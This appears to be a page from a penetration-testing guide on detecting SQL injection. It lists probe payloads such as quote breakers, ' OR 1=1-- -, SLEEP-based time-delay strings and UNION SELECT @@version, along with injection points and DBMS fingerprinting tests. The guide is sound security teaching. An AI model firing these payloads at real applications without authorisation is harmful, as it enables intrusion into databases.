Skip to content

SQLi Detection

Detection is finding any injection - not yet exploiting it. Goal: confirm the parameter is injectable and identify the DBMS.

'
"
`
)
')
"))
\
\\
';
'"
'-- -
" -- -
' OR 1=1-- -
1' AND SLEEP(5)-- -

Inject one at a time. Look for: SQL error messages, HTTP 500, response size change, response time delay, or behavioural change (login succeeds, content appears/disappears).

Every value the application sends to the backend is a candidate:

Location How to test
URL query parameters Modify in browser or proxy
POST body fields Modify in proxy
JSON fields Inject inside string values: "id":"1'"
HTTP headers User-Agent, Cookie, Referer, X-Forwarded-For
Cookies Often reflected into session-tracking queries
Hidden form fields Visible in HTML source

Inject characters that would terminate a string literal, identifier, or expression:

' single quote
" double quote
` backtick (MySQL identifier)
) closing paren
')) multiple terminators
\ backslash escape test

Success indicator: SQL error returned, HTTP 500, or any visible deviation from the normal response. A returned error like unclosed quotation mark, near "'": syntax error, ORA-, PG::SyntaxError confirms injection AND fingerprints the DBMS.

If a single quote breaks the page, an even number of quotes should restore it:

'' two quotes - query works again
'+' string concatenation in some DBMS
'||' string concatenation in Oracle/PostgreSQL

If the page works with '' but breaks with ', you have injection.

Submit semantically equivalent payloads. The page should respond identically:

1 baseline
1 AND 1=1 still true → same response
1 AND 1=2 false → different response (or empty)
1' AND '1'='1
1' AND '1'='2

Different responses to logically true vs. false payloads = confirmed boolean-inferable injection. See Boolean-based blind.

When errors are suppressed and content doesn’t change, force a measurable delay:

1' AND SLEEP(5)-- -
1' AND IF(1=1, SLEEP(5), 0)-- -

Success indicator: response takes ~5 seconds longer than baseline. Repeat 2–3 times to rule out network jitter.

Once you have any working injection, identify the engine:

' UNION SELECT @@version-- -

When the injection reflects into a numeric-only context (a string like @@version won’t render, or breaks the query), fingerprint with a function that returns a number. A commonly taught fingerprint is SELECT POW(1,1) → 1, but POW alone isn’t conclusive: PostgreSQL exposes it as an undocumented alias for POWER, and SQLite accepts it when math functions are enabled, so a 1 coming back doesn’t rule those out. A more specific numeric tell is MySQL/MariaDB-only SELECT CONNECTION_ID() (returns the numeric session id; errors on PostgreSQL/MSSQL/Oracle/SQLite). Pair either with the behavioural tests below to confirm.

Behavioural fingerprinting (no UNION needed):

Test True for
SELECT @@version works MySQL, MariaDB, MSSQL
SELECT version() works PostgreSQL, MySQL
SELECT FROM dual required Oracle
SELECT TOP 1 works MSSQL
LIMIT 1 works MySQL, PostgreSQL, SQLite
ROWNUM <= 1 works Oracle
Stacked queries (;) work MSSQL, PostgreSQL (rarely MySQL)
|| is string concat Oracle, PostgreSQL, SQLite
+ is string concat MSSQL
CONCAT() is string concat MySQL

See DBMS cheatsheet for full per-engine syntax.

Detection result Next page
Login form behaves oddly Authentication bypass
Errors visible in response UNION-based
Page changes on true/false Boolean blind
Only a condition-triggered error changes the response Error-based blind
Page only changes on time Time blind
Nothing visible at all Out-of-band
  • Some apps URL-encode user input before sending; others double-encode. If a payload doesn’t fire, try sending it URL-encoded and double-encoded.
  • A single ' returning HTTP 200 with normal content does not mean the parameter is safe. Many injections only manifest with logical conditions or on specific code paths.